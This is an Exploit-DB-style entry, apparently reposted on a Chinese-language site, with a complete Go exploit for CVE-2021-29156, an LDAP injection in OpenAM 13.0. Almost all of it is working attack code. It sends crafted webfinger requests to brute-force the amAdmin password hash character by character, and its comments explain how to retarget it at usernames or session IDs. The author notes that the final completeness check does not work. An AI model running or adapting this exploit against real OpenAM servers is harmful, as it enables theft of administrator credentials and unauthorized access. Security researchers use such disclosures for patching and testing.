OpenAM 13.0 – LDAP Injection

  • 作者: Charlton Trezevant
    日期: 2021-11-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50480/
  • # Exploit Title: OpenAM 13.0 - LDAP Injection
    # Date: 03/11/2021
    # Exploit Author: Charlton Trezevant, GuidePoint Security
    # Vendor Homepage: https://www.forgerock.com/
    # Software Link: https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/13.0.0,
    # https://backstage.forgerock.com/docs/openam/13/install-guide/index.html#deploy-openam
    # Version: OpenAM v13.0.0
    # Tested on: go1.17.2 darwin/amd64
    # CVE: CVE-2021-29156
    # 
    # This vulnerability allows an attacker to extract a variety of information
    # (such as a user’s password hash) from vulnerable OpenAM servers via LDAP
    # injection, using a character-by-character brute force attack.
    # 
    # https://github.com/guidepointsecurity/CVE-2021-29156
    # https://nvd.nist.gov/vuln/detail/CVE-2021-29156
    # https://portswigger.net/research/hidden-oauth-attack-vectors
    
    package main
    
    // All of these dependencies are included in the standard library.
    import (
    	"container/ring"
    	"fmt"
    	"math/rand"
    	"net/http"
    	"net/url"
    	"sync"
    	"time"
    )
    
    func main() {
    	// Base URL of the target OpenAM instance
    	baseURL := "http://localhost/openam/"
    
    	// Local proxy (such as Burp)
    	proxy := "http://localhost:8080/"
    
    	// Username whose hash should be dumped
    	user := "amAdmin"
    
    	// Configurable ratelimit
    	// This script can go very, very fast. But it's likely that would overload Burp and the target server.
    	// The default ratelimit of 6 can retrieve a 60 character hash through a proxy in about 5 minutes and
    	// ~1700 requests.
    	rateLimit := 6
    
    	// Beginning of the LDAP injection payload. %s denotes the position of the username.
    	payloadUsername := fmt.Sprintf(".well-known/webfinger?resource=http://x/%s)", user)
    	partURL := fmt.Sprintf("%s%s", baseURL, payloadUsername)
    
    	// Your LDAP injection payloads. %s denotes the position at which the constructed hash + next test character
    	// will be inserted.
    	// These are configured to dump password hashes. But you can reconfigure them to dump other data, such as
    	// usernames/session IDs/etc depending on your use case.
    	// N.B. you will likely need to update the brute-forcing keyspace depending on the data you're trying to dump.
    	testCharPayload := "(sunKeyValue=userPassword=%s*)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"
    	testCrackedPayload := "(sunKeyValue=userPassword=%s)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"
    
    	// The keyspace for brute-forcing individual characters is stored in a ringbuffer
    	// You may need to change how this is initialized depending on the types of data you're
    	// trying to retrieve. By default, this is configured for password hashes.
    	dict := makeRing()
    
    	// Working characters for each step are concatenated with this string. Further tests are conducted
    	// using this value as it's built.
    	// Importantly, if you already have part of the hash you can put it here as a crib. This allows you
    	// to resume a previous brute-forcing session.
    	password := ""
    
    	proxyURL, _ := url.Parse(proxy)
    
    	// You can modify the HTTP client configuration below.
    	// For example, to disable the HTTP proxy or set a different
    	// request timeout value.
    	client := &http.Client{
    		Transport: &http.Transport{
    			Proxy: http.ProxyURL(proxyURL),
    		},
    		Timeout: 30 * time.Second,
    	}
    
    	// Channels used for internal signaling
    	cracked := make(chan string, 1)
    	foundChar := make(chan string, 1)
    
    	wg := &sync.WaitGroup{}
    	wg.Add(1)
    
    	// All hacking tools need a header. You may experience a 10-15x performance improvement
    	// if you replace the flower-covered header with the gothic bleeding/flaming/skull-covered
    	// ASCII art typical of these kinds of tools.
    	printHeader()
    
    loop:
    	for {
    		select {
    		case <-cracked:
    			// Full hash test succeeds, terminate everything
    			// N.B. this feature does not work, see my comments on checkCracked.
    			fmt.Printf("Cracked! Password hash is: \"%s\"\n", password)
    			wg.Done()
    			break loop
    
    		case char := <-foundChar:
    			// In the event that a test character succeeds, that thread will pass it along in the
    			// foundChar channel to signal success. It's then concatenated with the known-good
    			// password hash and the whole thing is tested in a query
    			// This doesn't work because OpenAM doesn't respond to direct queries containing the password hash
    			// in the manner I expect. But it might still work for other types of data.
    			password += char
    			fmt.Printf("Progress so far: '%s'\n", password)
    
    			// Forgive these very ugly closures
    			go (func(client *http.Client, url, payload *string, password string, cracked *chan string) {
    				// Add random jitter before submitting request
    				time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
    				time.Sleep(1 * time.Second)
    				checkCracked(client, url, payload, &password, cracked)
    			})(client, &partURL, &testCharPayload, password, &cracked)
    
    		default:
    			for i := 0; i < rateLimit-1; i++ {
    				testChar := dict.Value.(string)
    				go (func(client *http.Client, url, payload *string, password, testChar string, foundChar *chan string) {
    					time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
    					time.Sleep(1 * time.Second)
    					getChar(client, url, payload, &password, &testChar, foundChar)
    				})(client, &partURL, &testCrackedPayload, password, testChar, &foundChar)
    				dict = dict.Next()
    			}
    
    			time.Sleep(1 * time.Second)
    		}
    	}
    
    	wg.Wait()
    }
    
    // checkCracked tests a complete string in a query against the OpenAM server to
    // determine whether the exact, full hash has been retrieved.
    // This doesn't actually work, because the server doesn't respond as I'd expect
    // A better implementation would probably watch until all positions in the ringbuffer
    // are exhausted in testing and terminate (since there's no way to progress further)
    func checkCracked(client *http.Client, targetURL, payload, password *string, cracked *chan string) {
    	fullPayload := fmt.Sprintf(*payload, url.QueryEscape(*password))
    	fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload)
    
    	req, err := http.NewRequest("GET", fullURL, nil)
    	if err != nil {
    		fmt.Printf("checkCracked: %s", err.Error())
    		return
    	}
    
    	res, err := client.Do(req)
    	if err != nil {
    		fmt.Printf("checkCracked: %s", err.Error())
    		return
    	}
    
    	if res.StatusCode == 200 {
    		*cracked <- *password
    		return
    	}
    
    	if res.StatusCode == 404 {
    		return
    	}
    
    	fmt.Printf("checkCracked: got status code of %d for payload %s", res.StatusCode, payload)
    }
    
    // getChar tests a given character at the end position of the configured payload and dumped hash progress.
    func getChar(client *http.Client, targetURL, payload, password, testChar *string, foundChar *chan string) {
    	// Concatenate test character -> password -> payload -> attack URL
    	combinedPass := url.QueryEscape(fmt.Sprintf("%s%s", *password, *testChar))
    	fullPayload := fmt.Sprintf(*payload, combinedPass)
    	fullURL := fmt.Sprintf("%s%s", *targetURL, fullPayload)
    
    	req, err := http.NewRequest("GET", fullURL, nil)
    	if err != nil {
    		fmt.Printf("getChar: %s", err.Error())
    		return
    	}
    
    	res, err := client.Do(req)
    	if err != nil {
    		fmt.Printf("getChar: %s", err.Error())
    		return
    	}
    
    	if res.StatusCode == 200 {
    		*foundChar <- *testChar
    		return
    	}
    
    	if res.StatusCode == 404 {
    		return
    	}
    
    	fmt.Printf("getChar: got status code of %d for payload %s", res.StatusCode, payload)
    }
    
    // makeRing instantiates a ringbuffer and initializes it with test characters common in base64
    // and password hash encodings.
    // Bruteforcing on a character-by-character basis can only go as far as your dictionary will take
    // you, so be sure to update these strings if the keyspace for your use case is different.
    func makeRing() *ring.Ring {
    	var upcase string = `ABCDEFGHIJKLMNOPQRSTUVWXYZ`
    	var lcase string = `abcdefghijklmnopqrstuvwxyz`
    	var num string = `1234567890`
    	var punct string = `$+/.=`
    
    	var dictionary string = upcase + lcase + num + punct
    
    	buf := ring.New(len(dictionary))
    
    	for _, c := range dictionary {
    		buf.Value = fmt.Sprintf("%c", c)
    		buf = buf.Next()
    	}
    
    	return buf
    }
    
    // printHeader is cool.
    func printHeader() {
    	fmt.Printf(`
    
    											_______,---.,---. .-''-. 
    											 / __\ | /| | .'_ _ \
    											| ,_/\__)|| |.'/ ( ' ) ' 
    											,-./)|| _ ||. (_ o _)| 
    											\'_ '')|_( )_||(_,_)___| 
    											 > (_))__\ (_ o._) /'\ .---. 
    											(..-'_/)\ (_,_) /\'-'/ 
    											 '-''-' /\ /\ /
    											 '._____.''---'''-..-' 
     
    .'''''-. .-'''''''-. .'''''-. ,---. .'''''-..-''''-.,---. ,--------..------..---.
     / ,-.\ / ,'''''''. \ / ,-.\ /_ |/ ,-.\/_ _ \/_ | | _____| /.-. \ \ /
    (___/| ||/ .-./ )\|(___/| |,_ | (___/| ||( ' )|,_ | |)// '--' | |
    .'/ || \ '_ .')||.'/ ,-./)| _ __ _.'/ | (_{;}_) |,-./)| |'----. |.----.\ / 
    _.-'_.-'||(_ (_) _)||_.-'_.-'\'_ '') ( ' )--( ' ) _.-'_.-'|(_,_)|\'_ '')|_.._ _'. | _ _'. v
    _/_.' ||/ .\ ||_/_.'> (_))(_{;}_)(_{;}_)_/_.'\| > (_)) ( ' ) \|( ' ) \ _ _ 
     ( ' )(__..--.||'-''"' || ( ' )(__..--.(..-' (_,_)--(_,_)( ' )(__..--.'----'|(..-' _(_{;}_)|| (_{;}_)|(_I_)
    (_{;}_)|\'._______.'/(_{;}_)| '-''-'| (_{;}_)|.--. // '-''-'| |(_,_)/ \(_,_)/(_(=)_) 
     (_,_)-------' '._______.'(_,_)-------' '---'(_,_)-------')_____.''---''...__..' '...__..'(_I_)
    
     				~ ~ (c) 2021 GuidePoint Security - charlton.trezevant@guidepointsecurity.com ~ ~
    
    `)
    }